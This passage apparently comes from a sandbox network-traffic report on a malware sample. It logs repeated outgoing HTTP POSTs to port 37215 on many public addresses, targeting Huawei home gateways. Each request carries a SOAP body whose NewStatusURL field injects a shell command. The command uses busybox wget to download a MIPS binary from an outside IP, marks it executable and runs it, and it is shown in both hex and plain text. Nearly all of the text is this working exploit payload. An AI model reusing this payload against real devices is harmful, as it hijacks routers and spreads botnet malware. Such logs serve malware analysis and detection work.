6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.13	60154	197.176.59.104	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.163692951 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.13	48850	156.202.215.189	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.164438009 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.13	36522	41.139.140.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.165713072 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.13	34632	41.79.189.48	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.166754961 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.13	59702	156.123.237.221	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.167790890 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.13	60102	197.140.21.238	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.168828964 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.13	55296	156.209.45.106	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.169847965 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.13	57464	41.65.114.229	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.170870066 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.13	37844	156.195.94.23	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.171880960 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.13	57678	41.13.119.15	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.172950983 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.13	33040	156.217.108.5	37215

Timestamp	Bytes transferred	Direction	Data
